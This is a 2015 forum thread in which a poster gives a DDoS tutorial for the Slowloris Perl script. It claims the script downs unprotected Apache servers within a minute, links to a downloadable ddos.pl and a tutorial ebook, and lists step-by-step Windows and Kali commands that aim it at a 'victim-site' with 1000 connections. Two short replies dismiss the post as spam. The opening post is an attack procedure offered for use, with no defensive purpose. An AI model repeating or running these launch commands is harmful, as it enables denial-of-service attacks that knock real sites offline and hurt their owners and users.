Thread: [DDos Tutorial \(Slowloris Script \)](#)

K1NG_C08R4 - May 15, 2015, 7:47 pm

Hello Friends ,

DDos Attack is a attack , which attack down a server / site . We have many Tools For DDos Attack .

LOIC (Low Orbit Ion Cannon) This is also a ddos Attack tool. But It cannot down a site always. But Slowloris Script , which is a perl Script , the Script can be Down a Apache Server in only 1 minutes , if the Server Have No Any Protection.

Enter I Give Here DDos Attacking Code , for Using Perl (Slowloris)

If you are in Windows , with Perl , then your code will be in CMD

Perl Link : <http://www.mediafire.com/view/9zv5pck4batxlqh/ddos.pl>

Ebook : http://www.mediafire.com/view/g4b5qhcg6bygz55/DDos_Attack_Tutorial.pdf

cd Desktop

< press enter >

perl ddos.pl -dns victim-site -port 80 -timeout 1 -num 1000 -cache

< press enter >

Then your Attack will be start

If you are in Kali Linux, then your Code Will be in Root Terminal\

cd Desktop

< press enter >

ls

< press enter >

chmod +x ddos.pl

< press enter >

perl ./ddos.pl -dns victim-site -port 80 -timeout 1 -num 1000 -cache

< press enter >

After Press " Enter " your Attack will be start .

Take Care

Happy Hacking

Dont Use Anything Wrong your Hacking Knowledge

Sorry for my post above, i was drunk then.

Quote:DDos Attack is a attack , which attack I'm confused. So attack is attack witch do attack to attack other attackers in attacked attack yes?! ?

Okay, now for real. Your tutorial is worthless spam, nothing more.

You could better explain how does this attack works, not just how to launch them. ?

Sheeple - November 28, 2015, 5:56 pm

This literally the same thing as using loic
